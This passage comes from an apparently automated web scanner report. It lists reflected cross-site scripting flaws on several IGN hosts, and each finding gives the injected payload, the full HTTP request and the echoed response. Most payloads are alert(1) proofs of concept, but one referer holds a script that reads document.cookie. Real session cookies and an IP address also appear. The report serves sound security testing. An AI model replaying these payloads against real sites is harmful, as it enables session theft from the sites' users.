Cookie: s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_c13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_sq%3D%3B; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; rsi_segs=; s_pers=%20s_nr%3D1297040527191%7C1299632527191%3B%20s_lv%3D1297040527193%7C1391648527193%3B%20s_lv_s%3DFirst%2520Visit%7C1297042327193%3B; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715.1.10.1297040497;

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:51:06 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Server: 585087c32e9d95876419f11bda2d6d63409345d960d798fa
X-AspNet-Version: 4.0.30319
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 3898

function google_ad_request_done(google_ads)
{
   var i = 0;
   if (google_ads == null || google_ads.length == 0) return;
   var ctl = null;
   var str = '';
           str = '';
       document.write('<STYLE> #ad-
...[SNIP]...
itionalPageBeaconKVPs && MySpace.AdditionalPageBeaconKVPs.abtest)
               adData.abtest = MySpace.AdditionalPageBeaconKVPs.abtest;
           MySpace.Beacon.Request(adData);
       }
   }
}
var __ipculture = "nl-nl16299";alert(1)//5f9781b593c";
var google_page_url = "http://fimserve.ign.com/?placement=fim_ign_hub2&__preferredculture=nl-NL&__ipculture=nl-NL16299%3balert1//5f9781b593c&__preferredculture=sv-SE&__ipculture=sv-SE";
var google_a
...[SNIP]...

3.198. http://fimserve.ign.com/ [__preferredculture parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://fimserve.ign.com
Path:	/

Issue detail

The value of the __preferredculture request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e8d34"%3balert(1)//b1eedcf262 was submitted in the __preferredculture parameter. This input was echoed as e8d34";alert(1)//b1eedcf262 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /?placement=fim_ign_hub2&__preferredculture=nl-NLe8d34"%3balert(1)//b1eedcf262&__ipculture=nl-NL HTTP/1.1
Host: fimserve.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: s_sess=%20s_cc%3Dtrue%3B%20s_v13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_c13%3Dwww.ign.com%253Acheats.ign.com%3B%20s_sq%3D%3B; __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-1n-12mc+1297040326761mv+1mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%224875108%22%3A4948008%7D; rsi_segs=; s_pers=%20s_nr%3D1297040527191%7C1299632527191%3B%20s_lv%3D1297040527193%7C1391648527193%3B%20s_lv_s%3DFirst%2520Visit%7C1297042327193%3B; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; s_vi=[CS]v1|26A7A237050791B4-40000100A0002F6F[CE]; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715.1.10.1297040497;

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:51:06 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Server: 0dc60cc1f9e03db8d0908393da041b991653c74650a9da13
X-AspNet-Version: 4.0.30319
Set-Cookie: MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; domain=.ign.com; expires=Wed, 09-Mar-2011 01:51:06 GMT; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 3896

function google_ad_request_done(google_ads)
{
   var i = 0;
   if (google_ads == null || google_ads.length == 0) return;
   var ctl = null;
   var str = '';
           str = '';
       document.write('<STYLE> #ad-
...[SNIP]...
re=nl-NL&__ipculture=nl-NL";
var google_ad_type = "text";
var google_ad_client = "ca-fim_ign_intl_emea_asia_js";
var google_max_num_ads = 4;
var google_ad_output = "js";
var __preferredculture = "nl-nle8d34";alert(1)//b1eedcf262";
var afcxml = "false";
var google_adtest = "off";
var google_ed = "";
var dw_google_ad_client = "ca-fim_ign_intl_emea_asia_js";
var google_safe = "high";
var google_encoding = "utf8";
document.write(
...[SNIP]...

3.199. http://fimserve.ign.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://fimserve.ign.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload c781b%3balert(1)//80b384a2d70 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as c781b;alert(1)//80b384a2d70 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /?placement=fim_ign_hub2&c781b%3balert(1)//80b384a2d70=1 HTTP/1.1
Host: fimserve.ign.com
Proxy-Connection: keep-alive
Referer: http://cheats.ign.com/?7cd43%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ebc6f5a7fbe9=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: decc=US; NGUserID=a016c02-23694-278760149-1; i18n-cc=US; freq=c-1297040427563v-1n-12mc+1297040427563mv+1mn+12wwe~0; ATA=ign.129704044868759.173.193.214.243

Response

HTTP/1.1 200 OK
Date: Mon, 07 Feb 2011 01:02:35 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-Server: b8847bfb2c7b896bf4dec7d1eb7325a2cc7709a8ba56094f
X-AspNet-Version: 4.0.30319
Set-Cookie: MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=634326085558429262&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; domain=.ign.com; expires=Wed, 09-Mar-2011 01:02:35 GMT; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 3806

function google_ad_request_done(google_ads)
{
   var i = 0;
   if (google_ads == null || google_ads.length == 0) return;
   var ctl = null;
   var str = '';
           str = '';
       document.write('<STYLE> #ad-
...[SNIP]...
ype = "text";
var google_ad_client = "ca-fim_ign_intl_emea_asia_js";
var google_encoding = "utf8";
var google_ad_output = "js";
var afcxml = "false";
var google_adtest = "off";
var google_ed = "";
var c781b;alert(1)//80b384a2d70 = 1;
var dw_google_ad_client = "ca-fim_ign_intl_emea_asia_js";
var google_safe = "high";
var google_max_num_ads = 4;
document.write('<script type="text/javascript" language="JavaScript" src="http://pa
...[SNIP]...

3.200. http://fonts.ignimgs.com/k/wns6kpl-e.css [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://fonts.ignimgs.com
Path:	/k/wns6kpl-e.css

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 47353<script>alert(1)</script>ff7250afcdc was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /k47353<script>alert(1)</script>ff7250afcdc/wns6kpl-e.css?3bb2a6e53c9684ffdc9a9af0135b2a62b7764f55d1e067ec9f69cfb2891eae51afd646b11f42b8b0c203da5976966e37dcb426c843edabe5098a840fe470829f52f661b12a HTTP/1.1
Host: fonts.ignimgs.com
Proxy-Connection: keep-alive
Referer: http://www.ign.com/
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.36
Content-Type: text/plain
Status: 404 Not Found
X-Runtime: 0.000819
Content-Length: 68
Cache-Control: max-age=31536000
Date: Mon, 07 Feb 2011 01:02:35 GMT
Connection: close

Not Found: /k47353<script>alert(1)</script>ff7250afcdc/wns6kpl-e.css

3.201. http://fonts.ignimgs.com/k/wns6kpl-e.css [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://fonts.ignimgs.com
Path:	/k/wns6kpl-e.css

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 791d8<script>alert(1)</script>1d99e800ce7 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /k/wns6kpl-e.css791d8<script>alert(1)</script>1d99e800ce7?3bb2a6e53c9684ffdc9a9af0135b2a62b7764f55d1e067ec9f69cfb2891eae51afd646b11f42b8b0c203da5976966e37dcb426c843edabe5098a840fe470829f52f661b12a HTTP/1.1
Host: fonts.ignimgs.com
Proxy-Connection: keep-alive
Referer: http://www.ign.com/
Accept: text/css,*/*;q=0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.36
Content-Type: text/plain
Status: 404 Not Found
X-Runtime: 0.000773
Content-Length: 68
Cache-Control: max-age=31536000
Date: Mon, 07 Feb 2011 01:02:36 GMT
Connection: close

Not Found: /k/wns6kpl-e.css791d8<script>alert(1)</script>1d99e800ce7

3.202. http://fonts.ignimgs.com/wns6kpl.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://fonts.ignimgs.com
Path:	/wns6kpl.js

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload b4490<script>alert(1)</script>adea6fcc8da was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /wns6kpl.jsb4490<script>alert(1)</script>adea6fcc8da HTTP/1.1
Host: fonts.ignimgs.com
Proxy-Connection: keep-alive
Referer: http://www.ign.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Server: nginx/0.8.36
Content-Type: text/plain
Status: 404 Not Found
X-Runtime: 0.001293
Content-Length: 63
Cache-Control: max-age=31536000
Date: Mon, 07 Feb 2011 01:11:16 GMT
Connection: close

Not Found: /wns6kpl.jsb4490<script>alert(1)</script>adea6fcc8da

3.203. http://games.ign.com/articles/114/1146317p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://games.ign.com
Path:	/articles/114/1146317p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 77882"><script>alert(1)</script>eae0eba9c8b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles/114/1146317p1.html?77882"><script>alert(1)</script>eae0eba9c8b=1 HTTP/1.1
Host: games.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:51:26 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:51:26 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c0a-22329-1188017689-7;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:51:25 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043485979v-1n-12mc+1297043485979mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 94915

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://games.ign.com/articles/114/1146317p1.html?77882"><script>alert(1)</script>eae0eba9c8b=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.204. http://games.ign.com/articles/114/1146317p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://games.ign.com
Path:	/articles/114/1146317p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ea3b2"-alert(1)-"4bf55089e71 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /articles/114/1146317p1.html?ea3b2"-alert(1)-"4bf55089e71=1 HTTP/1.1
Host: games.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:51:28 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:51:28 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c07-32463-1932835831-7;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:51:27 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043487858v-1n-12mc+1297043487858mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 94872

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
coreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://games.ign.com/articles/114/1146317p1.html?ea3b2"-alert(1)-"4bf55089e71=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.205. http://games.ign.com/articles/114/1147934c.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://games.ign.com
Path:	/articles/114/1147934c.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dd916"><script>alert(1)</script>af064e2c58b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles/114/1147934c.html?dd916"><script>alert(1)</script>af064e2c58b=1 HTTP/1.1
Host: games.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:51:27 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:51:27 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c01-1825-1500894823-4;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:51:27 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043487464v-1n-12mc+1297043487464mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 83048

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://games.ign.com/articles/114/1147934c.html?dd916"><script>alert(1)</script>af064e2c58b=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.206. http://games.ign.com/articles/114/1147934c.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://games.ign.com
Path:	/articles/114/1147934c.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4fd5c"-alert(1)-"ff30ee90d17 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /articles/114/1147934c.html?4fd5c"-alert(1)-"ff30ee90d17=1 HTTP/1.1
Host: games.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:51:29 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:51:29 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c04-14395-551436527-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:51:29 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043489796v-1n-12mc+1297043489796mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 83820

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
scoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://games.ign.com/articles/114/1147934c.html?4fd5c"-alert(1)-"ff30ee90d17=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.207. http://games.ign.com/articles/114/1147934p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://games.ign.com
Path:	/articles/114/1147934p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b92fe"-alert(1)-"f38442978de was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /articles/114/1147934p1.html?b92fe"-alert(1)-"f38442978de=1 HTTP/1.1
Host: games.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:51:28 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:51:28 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c0a-24030-186224903-4;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:51:27 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043487871v-1n-12mc+1297043487871mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 94648

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <base target="_top"></bas
...[SNIP]...
coreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://games.ign.com/articles/114/1147934p1.html?b92fe"-alert(1)-"f38442978de=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.208. http://games.ign.com/articles/114/1147934p1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://games.ign.com
Path:	/articles/114/1147934p1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bf573"><script>alert(1)</script>6d05b099dbb was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /articles/114/1147934p1.html?bf573"><script>alert(1)</script>6d05b099dbb=1 HTTP/1.1
Host: games.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:51:26 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:51:26 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c09-19918-53826951-4;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:51:25 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043486037v-1n-12mc+1297043486037mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 94725

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<base target="_top"></bas
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://games.ign.com/articles/114/1147934p1.html?bf573"><script>alert(1)</script>6d05b099dbb=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.209. http://games.ign.com/ratings.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://games.ign.com
Path:	/ratings.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8fa5c"-alert(1)-"77dfbb9df23 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /ratings.html?8fa5c"-alert(1)-"77dfbb9df23=1 HTTP/1.1
Host: games.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:51:39 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:51:39 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c06-15004-1842023344-5;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:51:39 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043499536v-1n-12mc+1297043499536mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 109761

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN Ratings and Re
...[SNIP]...
if(typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://games.ign.com/ratings.html?8fa5c"-alert(1)-"77dfbb9df23=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.210. http://games.ign.com/ratings.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://games.ign.com
Path:	/ratings.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3eae1"><script>alert(1)</script>279a1848484 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /ratings.html?3eae1"><script>alert(1)</script>279a1848484=1 HTTP/1.1
Host: games.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:51:36 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:51:36 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c03-27586-335511075-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:51:36 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
